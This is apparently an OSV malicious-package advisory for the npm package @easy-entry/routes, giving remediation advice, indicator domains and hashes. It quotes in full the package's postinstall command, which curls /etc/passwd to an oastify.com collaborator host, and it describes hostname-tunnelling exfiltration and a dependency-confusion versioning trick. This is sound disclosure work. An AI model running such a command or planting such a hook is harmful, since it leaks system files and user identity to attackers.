MAL-2026-5410

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@easy-entry/routes/MAL-2026-5410.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5410
Aliases
  • GHSA-g9fq-cx25-24m4
Published
2026-06-09T17:18:48Z
Modified
2026-08-13T22:15:20.469723543Z
Summary
Malicious code in @easy-entry/routes (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (29029f04aa1f06f388096de7cfdda12b92ce4c8dc68c2fe3e6091b318a521516)

On npm install, the package's postinstall hook in package.json runs curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, POSTing the contents of /etc/passwd to an attacker-controlled Burp Collaborator subdomain prefixed with the installer's hostname. The same hook executes scripts/scream3gg.js, which hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues an HTTP fetch to http://<hex>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com, tunneling installer identity out via subdomain. The package has no legitimate functionality — it ships only the exfil payload. The scoped name @easy-entry/routes combined with an absurd 99.9.5 version is a textbook dependency-confusion shape designed to win resolution against an internal-only package of the same name.

Source: ghsa-malware (3846894fe241ab5de8efc59afd69f338f570f4c34c6ae8ab05b3d51a8dafe9bf)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-06-09T17:45:49.565861237Z",
            "modified_time": "2026-06-09T17:18:48Z",
            "versions": [
                "99.9.5"
            ],
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-005022",
            "sha256": "1519bae164552d25b7e45c1361d040210e637c9f8a304aa807aae7c56ce008a3"
        },
        {
            "source": "amazon-inspector",
            "modified_time": "2026-06-09T17:18:48Z",
            "versions": [
                "99.9.5"
            ],
            "sha256": "29029f04aa1f06f388096de7cfdda12b92ce4c8dc68c2fe3e6091b318a521516",
            "id": "IN-MAL-2026-005021",
            "import_time": "2026-06-09T17:45:49.507715578Z"
        },
        {
            "import_time": "2026-08-13T22:11:44.614792583Z",
            "modified_time": "2026-08-13T15:29:41Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "3846894fe241ab5de8efc59afd69f338f570f4c34c6ae8ab05b3d51a8dafe9bf",
            "id": "GHSA-g9fq-cx25-24m4",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / @easy-entry/routes

Package

Name
@easy-entry/routes
View open source insights on deps.dev
Purl
pkg:npm/%40easy-entry/routes

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

99.*
99.9.5

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@easy-entry/routes/MAL-2026-5410.json"
indicators 
{
    "domains": [
        "7363616e.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com",
        "7363616e2d313565636264646432306339.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com",
        "2f686f6d652f7363616e.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com"
    ],
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "d2c42cb3e048d3dac528680c12fc15140474c725d1a99ea3d79dee1c1a403028",
            "tlsh": "ecd023b07c10c77379cd07b78128a1457d55c95f1304bd6645dfc7e4911437178eb906"
        },
        {
            "path": "scripts/scream3gg.js",
            "sha256": "9b962b07165e35cb12a1424434b1d1be779ead9b43df94af8baf0e5a1b66a6c9",
            "tlsh": "74f08ba955b11938382b50819dafd40db1e7fa0630a6e4f2fedd86810f44865bd22dde"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha1": "1473c4cc351bd4e0d3d2404317e797fd5bb015b7",
                "sha512_sri": "sha512-VJ8f+q8rpJxjTAIowzuJI4Jk0EhTcn8Bv1S5bHUucNWd3ZK/1i1N0fL3/CBA82Mr1K7SbtJmPNiOmQP/Nl1gYQ=="
            },
            "filename": "routes-99.9.5.tgz"
        }
    ]
}